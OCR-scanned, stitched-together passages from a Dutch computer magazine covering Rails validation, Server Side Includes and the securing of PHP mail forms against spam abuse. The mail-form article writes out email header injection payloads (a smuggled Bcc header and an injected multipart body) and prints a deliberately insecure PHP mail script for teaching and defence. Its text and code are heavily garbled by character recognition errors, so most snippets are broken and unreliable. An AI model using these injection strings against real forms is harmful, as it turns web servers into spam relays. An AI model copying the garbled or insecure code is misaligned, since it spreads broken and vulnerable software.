Vervoersbewijzen alstublieft! 

Er is eigenlijk geen webtoepassing die het 
zonder controle op gebruikersinvoer kan 
stellen. Rails-applicaties valideren op basis 
van hun modellen. Rails bevat daarvoor na- 
melijk een reeks van statische hulpmetho- 
den. Als je die in je modelklasse integreert, 
kunnen ze de attribuutwaarden van de klas¬ 
se controleren. Bijvoorbeeld; ieder bericht in 
het nieuwsforum heeft een titel nodig, an- 
ders moet het onmogelijk zijn de data op te 
slaan.Op modelniveau reaiiseer je zo’n check 
door de methode validates ^presence_of aan te 
roepen in de modefklasse Message in app/mo- 
deis/message.rb: 



Ingebouwde validatiehelpers regelen de 
foutafhandeling bij onvolledige gebrui- 
kersinvoer. 


class Message < ActiveRecord::Base 

has_many [comments 

vatidates_presence_of .title 
end 

En inderdaad: meteen reageert Rails met 
een foutmelding op elke poging om onder 
http://localhost:300Q/messages/new een 
bericht zonder titel te bewaren. Naast de 
methode validates_presence_of kent Rails nog 
alferlei andere validatiehutpjes, bijvoorbeeld 
voor dataformaten en lengtebeperkingen, 
evenals enkele cailback-methoden. 

Eindstation 

Rafis biedt nog veel meer mogelijkheden 
dan we hier kort hebben geschetst. Zo kun 
je e-mails verzenden en ontvangen, biedt 
Rails als een van de eerste webframeworks 
ondersteuning voor Ajax, en ondersteunt 
Rails sinds versie 2.2 makkelijkere internatio- 
nalisatfe. Vanaf het eerste begin kun je Rails- 
toepassingen makkelijk testen - je kunt met 
zogenaamde unit-tests alle afzonderlijke ap- 
plicatieonderdelen controleren binnen mo¬ 
dellen, controllers en views. Er Is voldoende 
documentatie te vlnden en er zijn talloze 
boeken over Ruby en Rails geschreven. 

Toch maakt ook deze snelle introductle 
de belangrijkste mogelijkheden van Ruby on 
Rails al redelijk duidelijk. Door het concept 
van 'conventie boven configuratle' heeft een 
typische Rails-toepassing maar weinig aan- 
passingen nodig. Het 'don't repeat yourself'- 
principe maakt de code kort en makkehjker 
beheersbaar, Bij een scripttaal als Ruby ver- 
lies je bovendien geen tijd aan compileren 
en deployment. De duidelijke M VC-arch itec- 
tuur en de goede ondersteuning van unit- 
tests maken het programmeren effectief en 
robuust 

Naar boven staan alle mogelijkheden 
open. Met JRuby sluiten Ruby en ook Rails 
aan bij de Java-wereld. Rails 2.2 kan veilig 
met threads werken en maakt het gebruik 
van een connection-pool voor databasever- 
bindingen mogelijk. Hiermee worden Ruby 
en Rails ook interessant voor bedrijven die al 
vooral over Java-georienteerde applicaties 
beschikken. (mja) €t 
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<!-#printenv-> 


Websitepuzzel 

Dynamische websites met Server Side Includes 

Veel begmnende webdesigners denken dat je voor dynamische websites 
programmeerkennis of complexe kant-en-klaaropfossingen nodig hebt. Mis! 
Met Server Side Includes (SSI) kun je met eenvoudige middelen heel veel voor 
elkaar krijgen. 


H et idee heerst nog steeds dat je dyna- 
misch te actualiseren websites alleen 
via een contentmanagementsysteem 
of met enorm veeJ gedoe met PHP kunt rea- 
liseren. En dat terwijl de meeste webservers 
een eenvoudig, robuust alternatief voor han- 
den hebben. Hoewel Server Side Includes 
(SSI) alles behalve nieuw zijn, zijn maar wei- 
nig webdesigners ermee bekend. SSI kunnen 
weiiswaar qua Functieomvang met aan een 
scripttaal tippea maar ze zijn wel makkelijk in 
gebrulken kunnen in veel gevallen een opios- 
sing zijn. 

SSI-instructies worden op de server uit- 
gevoerd, waardoor de browser zelf niets met 
het 551-scrjpt hoeft te doen. De oorspronkelijk 
voor Apache ontwikkelde SSI-scripts functio- 
neren naast Apache ook op andere gangbare 
webservers, bijvoorbeeld op Micro softs In¬ 


ternet Information Services (IfS). Bovendien 
ondersteunen veel shared-hostingpakketten 
Server Side Includes. Normaal gesproken is de 
extensie .shtml gebruikelijk voor webpagina's 
waarop SSI-scripts draaien. 

Server Side Includes hebben toegang tot 
servervariabelen en zijn in staat om verschil- 
lende browsers elk een browserspecifieke 
websiteversie aan te leverem Ook is het mo- 
geiijk om externe scripts aan te roepen en 
hun output in de webpagina op te nemen, 
Dit biedt de mogeltjkheid om externe stukjes 
code en volledige bestanden in de website 
te integreren, waardoor je met weinig moeite 
een dynamische website in elkaar zet, 

Voordat je ecbter direct in het diepe springs 
kun je beter eerst een pagina aanmaken met 
de extensie .shtml en daar de volgende code 
in piaatsen: 


Vervolgens upload je het bestand naar de 
server en voer je het uit. Deze regel geeft de 
server de opdracht een lijst van de beschtk- 
bare omgevingsvanabelen weer te geven. 
Deze informatie omvat onder andere absolute 
paden, taal, host, browser, IP-adres, serverad- 
min, servernaam, servertype, de URL van de 
opgevraagde site en de datum. A! deze waar- 
den kun je ook afzonderlijk weergeven via S5I- 
statements. 

Syntax 

Alle SSI-opdrachten worden geschreven zoals 
in het bovenstaande voorbeetd Je begint met 
het HTML-commentaarteken <3-gevolgd door 
een hekje en de opdracht zelf (zonder spatie), 
Voor het afsluitende HTML-commentaarteken 
-> moet wel een spatie staan, De dedaratie 
als HTML-commentaar heeft als voordeel dat 
je de SSI-opdrachten nlet in de browser kunt 
zien wanneer je de bestanden op een lokaaf 
bestandssysteem uitvoert of op een server 
zonder SSLondersteuning. Je kunt de opdracht 
ook van attnbuten voorzien; 

<Mtopdracht attribuut="waarrfe" -> 

Het aantal opdrachten dat door SSI wordt on- 
dersteund, is beperkt. Maar het gaat tensiotte 
ook niet om een echte programmeertaal, Nor¬ 
maal gesproken ondersteunt een server deze 
twaaIf expresstes en attributes 
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printenv 

set var=\.. ,r va(ue= p '***” 
echo var=".,." encoding=' .- 
flastmod file/virtual^ 1 ... 1 ' 
fsize file/vlrtual="..." 
config timefmt/sizefmt/errmsg^'..." 
include file/virtual="..." 
exec cgi/cmd—",. 

Ifexpr-".,/ 
elif expr= M . 
else 
endif 

Met set deflnieer je variabelea Hfervan kun je 
de waarde met echo weergeven, eventueel met 
een opgave van de gewenste tekencodering, 
Bovendien kan echo de op de server beschikbare 
omgevingsvariabelen afdrukken. Welke dat 
precies zijn, kun je met de opdracht printenv zien. 
Wij hebben de meest gebrulkte omgevlngsva- 
riabelen op p.122 voorje op een rfjtje gezet 
Verdere site-informatie krijg je via de S5I- 
opdrachten flastmod en feize, De volgende regel 
verwijst naar een extern bestand waarin de tijd 
wordt afgedrukt van de laatst doorgevoercfe 
wijziging: 

<p>Laatste wijziging: <1—frflastmod file^actueeLshtmr/ 

-></p> 


De server vertaait dit In: 

<p>Laatste wijziging: Friday, 5-Jun-2009 11:3732 CET</p> 

file geeft het pad aan op het bestandssys- 
teem van de server en virtual is een relatieve 
URL. In dit geval werken beide. Als je een 
backslash aan het begin van het pad ge¬ 
bruikt, dan voigt het script de mappenstruc- 
tuur vanaf de rootmap van de Webserver, 

De Engetstalige datum- en tijdnotatie ziet 
er echter met zo fraai uit Om de notatle aan 
te passen, kun je de opdracht config in combi- 
natie met een rijtje parameters gebruiken. Die 
zijn al bekend uit de naar C++, PHP en Unix 
geporteerde C-functie strftimeQ: 

<!-#config timefmt= n %d,%m.%Y %H:%M n -> 

Dit werkt ook bij alle andere datumopgaven, 
bijvoorbeeld bij de actuele serverdatum die je 
met <#l>echo<#$> en een omgevingsvariabele 
op je webpagina tovert: 


<!--#echo va r— M D ATE_L0CA L' 1 -> 


Je kunt ook de notatie van de bestandsgrootte 
configureren, namelijk via fsize. Bij config sizefmt 
heb je echter alleen de keuze tussen bytes en 
abbrev, wat bijvoorbeeld 3K uitgeeft 

Met flastmod en fsize kun je ook informatie 
over andere bestand en op de server weerge- 
ven. Als je gegevens van de huidlge webpa¬ 
gina wilt uitlezen, dan gebruik je in plaats van 
de bestandsnaam de omgevingsvariabele 
D0CUMENT_NAME in de SSi-opdracht Deze varia- 
bele moet je dan wel als omgevingsvariabele 
met ${.,.] kenmerken, 

<!-#fs ize fi te^ r ' ${DOCU M ENT_N A ME} 1 ' 


De uitgsfte van het pad en de bestandsnaam 
van de opgeroepen pagina behoren tot de 
standaardfuneties van SSI. Dat is zeer han- 
dig bij links, DOCUMENT_URI p DOCUMENT.NAME en 
5ERVER_NAME zijn hierbij de belangrijkste vah- 
abelen. 

Veel websites hebben een 'Vorige pagi- 
na'-iink die vaak met behulp van JavaScript 
draalt. Het volgende SSI-script kan als alter- 
natref dienen: 

<a href=' , <!-#echo var='' HTTP-REFERER" ->">Vorige/ 

pagirta</a> 

Dit werkt echter alleen als de dient-pc de te- 
ruggave van de HTTP-referer niet blokkeert, 
lets wat bij veel browsers als privacymaatre- 
gel kan worden ingestetd. 

Server Side Includes zijn pas echt in hun 
element als je ze gebruikt bij het inbedden 
van andere paglna's in een website, Dat fs de 
functie waar ze tenslotte hun naam aan te 
danken hebben. De mogelijkheden zijn tal- 
rijk: in plaats van menu's elke keer opnfeuw 
in elke HTML-pagina te kopieren, maak je 
het menu een keer aan in een afzonderlijk 
bestand. De hoofdwebpagina bevat voor de 
include dan de volgende opdracht: 

<!-#indude virtuaL^'menu.htmr 

Zo hoef je aanpassingen aan het menu nog 
maar in een bestand door te voeren. Hetzelf- 
de trucje kun je toepassen bij de bestands- 
titel, voetnoten en andere terugkerende 
we bs ite-el e m e nte n. 

Zo kun je dus meerdere includes in een 
pagina inbedden. Zo kan een website een 
SSI-pagina aanroepen die de actuele datum 
uitgeeft. Hiervoor moet ook de ingebedde 
pagina op ,shtml eindigen. Op die manier 
kun je bijvoorbeeld naar een voor afdrukken 
geschikte pagina doorllnken: 

<a href- ,, <!“#echo var-'DGClMNORT 1 ->?prinf>/ 
Pagina afdrukken </a> 

Deze link staat in een menu dat als een in¬ 
clude in de webpagina geintegreerd is. De 
S5l-opdracht stelt de URL vast van de huidige 
pagina, waardoor het menu op elke willekeu- 
rige pagina kan worden gebruikt. 

Server Side Includes kunnen ook CGI-scripts 
aanroepen. Zo kun je het resultaat van een 
counter die het aantal page views bijhoudt in 
de opgeroepen webpagina opnemen: 


<!-#exec cgi=7cgi-bin/co unter.pl" -> 

Met <l-#exec tmd="..." -> kun je toepassingen 
op de server uitvoeren, indien je daar als web- 
site-eigenaar de rechten toe hebt. Overigens 
kun je de exec-opdracht door include vervangen, 
aangezien ook deze opdracht het script uit- 
voert en het resultaat in de website opneemt. 
Volgens de Apache-documentatie is dit ook de 
beste manier. 

Condities 

Ondanks dat SSI geen volwaardige program- 
meertaal is, kun je er complexe dingen mee 
realiseren. De opdrachten if, elif, else en endif zijn 
voorwaardelijke structuren die deels reguliere 
expresses ondersteunen. 

Binnen deze syntax is expr= een noodzakelijk 
bestanddeel. Als het resultaat waar is, wordt 
de tekst tot aan het laatste elif-, else- of endif-ele- 
ment in de uitgifte meegenomen. De con ditie 
eindigt pas wanneer de SSt-processor een endff- 
statement tegenkomt. 

<!—#if expr= 11 $(HTTP_USER_ AG ENT] = /M5IET --> 
Internet Explorer ... 

<!-#eltf expr= 0 ${HTTP_USER_AGENT) - /Opera/" > 

Opera 

<Webe -> 
andere browser... 

<!-#endif --> 

Deze browsercheck bekijkt de waarde van de 
omgevingsvariabele HTTP_USER_AGENT, waar- 
achterzich het browserkenmerk uit het HTTP- 
verzoek bevindt Net als in bovenstaand voor- 
beeld moet je die als omgevingsvariabele met 
${...) kenmerken. Tussen de slashes staat een 
reguliere expressie, in dit geval een simpele 
zoekstring. De vergelijking wordt door een 
simpel gelijkteken uitgevoerd (geen dubbel 
gelijkteken zoats in de meeste programmeer- 
talen). != is het niet-gefijk-aan-teken. Overigens 
hebben de groter-/kleinervergelijkingstekens 
> < >= en <= geen betrekking op getallen, 
maar op strings, waardoor ze in de praktijk niet 
echt handlgzijn. 

Als de conditie waar is, levert de server de 
bijbehorende tekst uit. Is de conditie niet waar, 
dan vergelijkt hij de waarde met de output van 
elif (in andere programmeertalen bekend als 
'elsif' ‘elseif of 'ebe if). Als de waarde ook hier 
niet overeenkomt, gaat hij verder naar else.Ten¬ 
slotte beeindigt endif de voorwaardelijke lus. etif 
en else zijn optioneel. 



Bij programmeerprutswerk 
in de SSI-syntax breekt 
de server af met een 
configureerbare 
foutmelding. 
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PHP | Server Side Includes 


Omgevingsvariabelen 

contenoype 

MIME-type 

DATEJGMT 

Greenwich Mean Time (GMT) 

DAT£_L0CAL 

Datum en tijtf 

DOCUM ENT_M AME 

Bestandsnaann 

DOCUMENTJURJ 

Pad en bestandsnaam op de server 

HTTP_REFERCR 

URL van waar de bezaeker vandaan komt 

mjmjms 

Browserfrerkenning 

LAST_MODIFIED 

Datum bestand laatst gewijagd 

OUERYJTfllNG 

KTTP-opdrattitstring 

REM0TE_AD0R 

IP-adres gebrulker 

REQ L) EST_M ETHOD 

HTTP-metbode (GET, POST etc) 

SERVEfUDDR 

1 P-adres van de server 

SERV£R_NAME 

Host naam van de server 

SERVER_PROTDCOL 

HTTP-versie 

SERVER.^ SOFTWARE 

gebruikte serverseftware en -versie 

De msestfc servers stdlen cteze en verdeie omgevingsvariebaieu voor 
SSI beschikbaar. 


Op deze manier zou de server bij bepaaide 
browsers browserspecifteke stylesheets of 
scripts kunnen gebruiken. Overigens ben je 
ook hier afhankelljk van de waarheidsgetrouw- 
heid van de informatie die de client I evert. 

Trukendoos 

Browser her kenning werkt natuurlijkook met 
includes. Zo kun je aangepaste menu's, [inks, 
kop- of voetteksten voor bepaaide browsers 
treeren en browserspecifiek integreren. 

<!-#if expr-" ${HTTP_U SER_AGEN1] - /M5IE/' 1 -> 
<!-#mdude fiLe=''ie.lnc ,r -> 

<!--#else --> 

<!-ffndude fiLe= , 'firefox.inc’' -> 

<!-#endif --> 

Naast regullere expressies zijn ook eenvou- 
dige stringvergelijkingen mogelijk naar het 
schema expr='"variable — waarde 1 ”, Apache 2.2 
ondersteunt reguliere expressies naar de 
machtige Perl-standaard r terwijl de moge- 
lijkheden in het wijdverspreide Apache 1.3 
wat bescheidener zijmToch kun je er wet wat 
trucjes mee uitvoeren; 

<1-9 if exp 11 ${QUERY_STRJWG} = /&idWa-z]+/||/ 

${QliERY..STRING} = /Ai<Ma-z]+/ B -> 

< [“fend if --> 


wordt er met QUERY_STRING vergeleken, dus 
de door vraagtekens afgescheiden URL-pa- 
rameter ('a=123&b=xyz' in www.example. 
com?a=123&b-xyz). In het eerste deel van 
de expressie wordt gevraagd of deze vart- 
abele *&id=* gevotgd door een of meerdere 
kleine letters <[a-z]+) bevat De backslash 
voorkomt dat de server door het gelijkte- 
ken in de war raakt. De tweede zoekstring 
is identiek tot aan het &-teken. Hler moet de 
gezochte waarde vanwege het da kje A aan 
het begin van QUERY ^STRING staan. 

Met dit handigheidje op zak, kun je 
browseromleid ingen creeren om... 

<!—#if expr= "${ HIT P_U SE R_ AGE NT} = /Lynx/" -> 
<meta http-equiv= M refresh'' content= H 0;/ 

URL=aUeentekst.htm[ ,l > 

<!-#endif -> 

.. .een deel van de website weg te laten voor 
een printbare versie... 

<Hf expr='$ QU E RY_STRIISI G 1= print' 1 * -> Menu 
cMendif -> 

...of metatags voor zoekmachines te maskeren 
zodat ze onzichtbaar zijn voor concurrenten: 

<!--#if expr—"$HTTP_USER_AGENT /AMoaila/"-> 

< meta nam e=" keywo rds" to ntent="... 7> 

<1—#endif --> 

ZoweJ bij Firefox als bij Internet Exporer be¬ 
gint de browseridentificatie met Mozilla' 

Server Side 

De naam zegt het al: Server Side Includes 
werken aan de kant van de server. Bij de 
lokale afhandeling zle je noch de includes 
noch hun resultaat, tenzij je een ontwikkel- 
omgeving hebt draaten met lokale server. 
Een XAMPP-installatie (zle pJ06) is hiervoor 
een mogelijkheid. 

Een Apache-server behandelt Server Side 
Includes via de module mod include. Jn het 
configuratiebestand httpd.conf in de map 
conf kun je bij de waarde AddType extensies 
toevoegen voor MIME-typen: 


1 Opdrachtparameters 

%a 

Afkorting weekdag 

%A 

Weekdag 

%b 

Afkorting maand (naam) 

%B 

Maand (naam) 

%d 

Dag van de maand (01 tot 31) 

%e 

Dag van de maand (1 tot 31) zonder nullen 

%H 

Uur (GO tot 23) 

%j 

Dag van heijaar(001 lot 366) 

%m 

Maand (01 tot 12) 

%M 

Minn Lit {00 tot 59) 

%n 

Nieuwe regel 

%S 

Seconde (00 tot 60) 

%U 

Katenderweek (00 tot 53), begint bij zondag 

%w 

Weekdag (zondag = 0) 

%W 

Kalenderweek (00 tot 53), begint bij maandag 

%x 

Standaard datum 

%x 

Standaard tljd 

%y 

Jaar, notade met I cijfers 

%Y 

Jaar r notatie met 4 cijfers 

%Z 

Tijdzone 

abbrev 

BestandsgrooneinKB en MB 

bytes 

Bestandsgrootte in bytes 


De noutie van de per SSI tiltgegeven datum en tljd kun je in detail 


Options Indexes FolLowSymLinks Indudes 

Als je wilt dat de server het bestand Index, 
shtmi als startpagina van een map herkent, 
dan is ook de volgende Installing vereist: 

Directorylndex index.shtmL index.html 

Normaat gesproken doorzoekt de server al- 
[een webpagina’s met de extensle .shtmi 
naar SSI-statements. Hier kun je verandering 
In brengen met 'XBitHackL Hiervoor voeg je 
de volgende regel toe aan .htaccess: 

XBitHack on 

Daarnaast doorzoekt de SSI-parser ook ge- 
wone .html-bestanden als die als uitvoerbaar 
staan Ingesteld. Zet je de waarde op full in 
plaats van on, dan fabriceert de server voor 
elk aangeroepen bestand een Last-modi fled- 
header met de bestandsdatum. Hiermee kun 
je bijvoorbeeld het gedrag van proxy's en 
browsercaches beYnvioeden. 


Dit statement vergelijkt twee door een lo- 
gische OF-operator (jj) gescheiden voor- 
waarden, waarvan er dus rnaar een waar 
hoeft te zijn. Je kunt hier ook een AND- 
operator (&&) gebruiken. In dit voorbeeld 


AddType text/html .shim l 

Bovendien zul je onder Options voor de betref- 
fende map (in de regel htdocs) Includes moe- 
ten activeren: 


Condusie 

SSI is een eenvoudige, krachtige en breed in- 
zetbare techniek en verdfent dan ook meer 
opvolglng dan voorheen. Met geYntegreerde 
paginal, omgevingsvariabelen, controle- 
structuren en reguliere expressies kun je veel 
taken verrichten waarvoor een webdesigner 
meestal veel complexere PHP-scripts inzet. 
Pas bij iussen en functies loop je bij SSI tegen 
de grenzen aan. 

Verder zit er nog een moeilijkheid in 
het werken met webeditors: alleen Adobe 
Dreamweaver komt met een hatfbakken S5I- 
ondersteuning aan. Uiteindelijk kun je het 
beste een lokale Webserver opzetten, net als 
bij alle server-sided projected (mda) 

( Softlink09WDU0 ct 


DOCUMENT RQQTWhcmaf a ti it^nWuftw; HnT_ACCEPT=*|T* HTIT'.ACCEfT.ENCOL’IlJQ^gE^ u deflate 

Hm.ACCEPT^LANGTJAGE^l HTH^CONNECTtON^Kw^ AUvt 

HTTP_COOEIE=_uimft=234503S76 11W20O6O.123E75&3C0 t23B7.S9^. 123^62780.2. _irinE=234S088?C 12M9S60 t I unrcwN<±nxO 
HTTP.HOST^www ttteflereil tTITP. USER.AGENTSoiilLiM 0 (ciimp-rtikte. MSEE 6 Cl, WhkWi NT S t. SV1. NETQJt 

PATH=ii ! u£rAim J sb«L Aiaft bm/uaysfwftiBL/iijp ti sfwrt*iAjin l l'3c alfluffLiWfl ■ j c ill 1 c c sftmj'uari'ucb J cft(RZsjifi/b«i / >y^t!92Xfj 'JiA'io: < o devCbm 

f:£t^dOTE.ADD».-85148 15$ 67 KEUOTE_PORI^18«5 R2 

SCMPT_FILEirAME=rtioiru:/Brshtmi SCEIPT.fTKI^iflp ffwwW rffcrtcr ftl/tsiKst tbtmJ 
SCEIPT TTRL=/ts3tcst Khtml SERVER ADDR=1 92 1139 1 SERVER_Al'IsfUT =i cmctt'ruisder 4t SERVEP. NAME=www. ctttrtef .nl 
SERVErLpoRT- 80 SERVa^SIOWIDl^ SStVER_SOFTWAR^<Ap«^] i.3?(UnaJ Ul^UEJD-SiAcCoEIiAAQijOtiw 

VH=Ettesttr d Vr^niinmiAFtMf33/33lf520ib9S33tadM:a QATEWAY_INTESEACEMUC5yi ] SER.VER.PROTOOjL^HTTP/ I ] FEQUEET.METKOIM3ET 
QUERY STEJNO= REQUEST *lftnl SCWFT NAMEWwSwt DATE LOCAl^Monduf. 0$-Jun-2W5 12:19-29 MEST 

D ATE QMr-lifKjday. 10.1 MS OUT LAST MODIFTED-Moctdiif. OBJiu-2009 12.1 92 $ MEST !>OCmiEMr_UIU=*fts*ert fhtml 

DOCUMENT PATH INFO=USER NAME=user# 1350402 DOCUMOrT NAME=siftest. duri 


De server stelt de SShontwikkelaar een aantal omgevingsvariabelen beschikbaar. Welke 
dat zijn, kun je met de opdracht printev achterhalen. 
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Mailformulieren op websites beveiligen 


Een knullig geprogrammeerd webformulfer voor het versturen van e-mail 
verandertje Webserver al snel in een doorgeefluik voor spam. Een paar regels 
code zijn vaak al voldoende om scripts te beveiligen. 


Herbert Braun 










E nkele verdacht ogende e-mails zijn de 
voorbode: via berichtjes met oniden- 
tificeerbare afzenders en onzinnige 
onderwerpen warden emailformulieren op 
websites getest op kwetsbaarheden. BJijkt 
dit succesvol, dan wordt je server na korte 
tijd mlsbruiktom honderdduizenden spam- 
mails naar argeloze internetgebruikers te 
sturem 

Hoewel het probleem oud is, is het aan- 
tal scriptgestuurde uitbuitingspraktijken de 
laatste jaren flink gegroeid. Als je een wat 
naief geprogrammeerd script hebt draaien, 
kunnen kwaadwillenden bijvoorbeeld In- 
formatie uit e-mailheaders halen H zodat ze 
extra ontvangers kunnen toevoegen, het 
maiftje kunnen aanpassen of attachments 
kunnen bijsluiten. 

Met een klein stukje PHP-code (rechts- 
boven op volgende paginal heb je een een- 
voudige, maar onveilige webtoepassing om 
een malltje te versturen. De eerste keer dat 
het script wordt aangeroepen, verschijnt 
het HTML-blok met het formulier op het 
schema. Zodra je op de verzendknop klikt, 
roept de browser de site opnieuw aan. PHP 
probeert dan met de standaardfunctie mail() 
de ingevulde gegevens in het formulier te 
versturen. 

Dit script kent nauwelijks enige vorm van 
veiligheid, Het vermoedelijk populairste 
Perl CGI-script CFormMair in Matt’s Script 


Archive - sinds 1997 twee miljoen keer van 
www.scrfptarchive.com gedownload) haal- 
de in vroegere versies de e-mailontvanger 
uit een verborgen invoerveld. Kwaadwil- 
lenden konden desondanks gemakketijk 
andere ontvangstadressen naar de server 
sturen door de URL te mampuleren. Huidige 
versies van dit script vergelijken het door- 
gegeven ontvangstadres met een lEjst toe- 
g esta n e o ntva n g e rs. 

In het voorbeeldseript is de ontvanger de 
eerste parameter van maiLfl, Het onderwerp 
en de tekst in de maif volgen uit het tweede 
en derde argument, terwijl mail() aanvul- 
lende headerdata als vierde argument ver- 
wacht, byvoorbeeld de afzender (From). En 
dit is nu net het zwakke punt: PHP reikt de 
server blindefings e-maiiheaderinformatie 
aan, ook indien een kwaadwillende erin 
slaagt informatie in het juiste formaat te 
versturen. 

Smokkelgang 

Volgens e-mailspecificatie RFC 822 moeten 
e-mailheaders door regetovergangen ge- 
schetden worden. Aangezien het formulier 
GET-methodes accepteert, is dit eenvoudig 
via de browser te realiseren: 

[scri pt-U R L] 7o n d e rwerp=su b&tekst=txt8i statu s=1 & 
afzen d e r=test%40te .st%0 A bcc: spa m m e r%40 n i x,ix 


Hoewei het er door de bijzondere URL-te- 
kens In eerste instantie wat gecompiiceerd 
uitziet, is het idee in werkelijkheid super- 
simpel: na de placeholders voor de velden 
onderwerp, tekst en status hangt de kwaadwil- 
lende een header voor een blinde kopie 
(Bcc) aan het script. De code %4G staat voor 
het (SHeken en %0A voor de regelovergang 
(linefeed, <LF> of \l). De inhoud van het af- 
zenderveld luidtdus: 

test@te.st 

Bct:$pammer@mx.ix 

Nadat het script voor beide regels een From: 
heeft gezet, gaat de mail op reis. spammer@ 
nix.ix ontvangt een kopie van het beriebt, 
zonder dat de oorspronkefijke ontvanger 
nobody@ct.nl daar weet van heeft. 

Als je het script met een POST-methode 
verwerkt, lijkt dit veiliger. Het heeft bijvoor¬ 
beeld geen nut om bovenstaande string 
in het afzenderveld van het formulier in te 
voeren, aangezien de browser het procent- 
teken naar%25 converteert, Toch zijn erge- 
noeg andere manieren om het script van de 
juiste tekenreeks te voorzien, bijvoorbeeld 
via de Fi refox-add-on Live HTTP Headers, 
aangepaste HTML-formulleren of zelfge- 
schreven scripts. 

Ook als de inhoud van een e-mail vast 
in het script is ingebed, kan de tekst door 
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Webprogrammeren [ Mailformul Keren 



^ eMqgnnxj@dichtsrs1acht.nl 


I q b i iy t in lit kf ® d i cht e rs 1 acfat. n! 

® biivtmKtkf@dt'ihtersl^chLrjl. http:// 


b i i y tm htkf @dtdhter s I a cht.r?< 

deceived 11. September 20GS 1;12:15 from 
biivbn-ij-itkf(gidkhtet ?ia n I 

biiytmhtkf@dEGhterslacht.nl 


zcz v w #di cht e rsl a cht. n I 

z ~r3di chiefs [a cht."-,t / http ;//zczy w^idichterslacM r,l 
received 11. September 20Q3 at li 12ill fmrr, 
zczvi? laidid’.tersI acht.nl' Content-Type; muItfpe^V.,■ ed- 
bound’ary-"-^--**058710402 r>»=' MIME- 
V'aviioiv l.tt Subject- 15?lc£9*To< zz? y wi»didVtef j 1 *chfc,nl 
bcrr ,iiubin545^ioi.a'3i.-;Qm Fromi zczywr3)did-ite+Eracht.nl Thi? 
ifc? a mult:-part rnersjags In MIME for re, at. -- 
=======^=== ==--Q5e7104022^ C^nc-an^Typ*- te-V 

plain! chartate"uj-^icil" MIME-Verjlor,• i o Contant-Tran-tf. 
Encoding' Tbit h.kiijnbibb -- 
-■=»»M™™»™W97i0402a«'- 
zcz y w@dicht erslacht, nl 
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krre s n m I m ® d I c lit e rsloch t . n I 

krrefnnnlmiSidtchterslicht.ol Content-Type i rnuItlp? b iln' 
mi*e.dj boundary* 

MIWE~V«r#1om 1.0 Subject: *if5432FToi 
h tt * i nmlm$d kh tet 1 1 ft cht, n [ bett }ru b I ri 34 56 @ t o I , ww 
From- krr*fnmIm($dkhte r j techt,n \ This I; a mdJti-pftrt 
r-a/Eaza • MIMf _ 


«?php 

ifCissetClJETE'status-])) { 

if{mai L HflQbcdySkt.nl 1 , 3 ETC 1 onderwerp 1 ]^ S_GETt 1 1ek&t 1 J, 

"From;" . t_&ET[ 1 afzender 1 1 >) { 
echo ,J <p>Bentht verzonden!</p> rt ; 

} else { 

echo “<p>Bericht niet verzond'en \<tp> T '; 

) 

} else { 

?> 

<h1>Qrmilig script! Niet gebruiken!«/h1> 

<p>Stuur me een bericM:</p> 

<form action-'" 1 ^ 

<p> 

Afzender: <input name=' r afzender' f /xbr7> 

Onderwerp: <input na■«="onderverp ,r /xbr/> 

Tekst; <te k tarea name= lr tekst'‘></Untarea><br/> 

<input type="submit" name="status" valye“ l 'Verzend«n"/> 
p> 

<i fori> 

<?php 

} 

?> 

Een simpel webformulier is met PHP snel in eikaar gezet, maar to vert je host 
in een open mailserver, 

Een aanvailer probeert via een e-mailformulier be- 
richten aan jrubin34S6{s>aoLcom te versturen om de 
toepassing voor het versturen van spam te misbruiken. 


een kwaadwillende worden gemanipu- 
leerd. Bij e-mail wordt de bodytekst na- 
melijk door een simpele wltregel van de 
header geschelden. Met afzender=test%40te, 
st%OA%OAspamtekst overschrijft de aanvailer 
de derde parameter van mailQ met de tekst 
r spamtekst r . Afhankelijk van de instell ingen 
van de maildient van de ontvanger kan hij 
zo voorkomen dat de ontvanger de oor- 
spronkelijke inhoud te zien krijgt: 

Afzen der=test%4Gte,st%0 A Con te nt-ty pe; m u Lti pa rtf 
mi xed ;b ou nda ry=xxx%0 A%0 A-xxx%0 Ato n ten t- 
typ e:text/ht m L%0 A%0 A%3 Ch.1%3 Es pam tekst%3 t/ 
h1%3E%0A-xxx 

Met de 'Content-type’-dedaratie vertel je dat 
het bericht een mengelmoes is van verschif- 
lende MIME-typen. De maildient hoeft bo- 
vendten alleen de tekst zlchtbaar te maken ; 
die tussen boundary=xxx en -xxx staat, die tel- 
kens een eigen regel aanduiden. Daar staat 
in de mailbody het MIME-type, in dit geval 
een HTML-bericht. %3C en %3E staan voor 
kfeiner-dan- en groter-dan-tekens, waardoor 
de maildient het woord spamtekst r ais een 
grote kop (<h1>) zal weergeven. 

Op die manier kan de aanvailer de mail 
zelfs van attachments voorzien, Hiervoor 
hoef je atleen maar een stukje code van een 
muitipart/mixed-mail toe te voegen met 
Content-Disposition: attachment. 

Hoewel dit veiligheidslek niet specifiek 
aan PHP te wijten is, is de mail-functie zelf 
ook niet geheel onschuldig aan het massale 
misbruik; de eerste drie parameters spiege- 
fen de programmeur een gevoel van veilig- 
heid voor die de vierde tenietdoet, Bij Py¬ 
thon legt het email-pakket bijvoorbeetd alle 
benaderingen van mailheaders aan bam 
den. Diverse Perl-modules zoals Mail "Send mail 
doen hetzelfde. Overigens zijn onder Perl- 
programmeurs nog praktijken uit de vroe- 
gere tijden van het WWW gebruikelijk: 


open(MAIL, 'J/usr/lib/sendmail -t 1 ) or die; 
print MAIL «EQM; 

To: $ontvanger 
From: $zender 

£0M 

Dit stukje script verstuurt de inhoud van het 
bere-document via de handler MAIL naar de 
Mail Transfer Agent, ofwel het programma 
dat voor het daadwerkelijk versturen van de 
mail verantwoordeiijk is, zoals Sendmail of 
Postfix, Alle headerwaardes zijn hier in prin- 
cipe kwetsbaar voor manipulatie. 

Doorgelicht 

Het mag duidefijk zijn dat een precieze ve- 
rificatie van de gebruikersinvoer in situaties 
als in ons PHP-voorbeeld onontbeerlijk is. 
Met een simpele security check kun je alle 
invoervelden op regelovergangen contro- 
leren: 


setLacaleCLC_ALL # 'nLJI_“5; 

IcontroLe = array! 

1 a f z ender 1 => 

T r[fl-EA-Z3t\w,+-]+\S[\vi,-]{2,>\. Ca-i3 
{2,6)3/- 

1 ondErwerp 1 => 'TECrprintS]]{3/}3 / l , 

'tekst- -> -/*[[:prfrtt:l[:space:]] 

{10,}S/-); 

foreach{$„POST as Sparameter => $waarde> { 
ifCissetCtcontroletSparameter])) C 
if! Epreg_Pi3tch{icorttrde[lpar3weter],lwa 
arde)} diet 1 Prob L eem met veld 1 . ^parameter 
* F : 1 . Swaarde); 

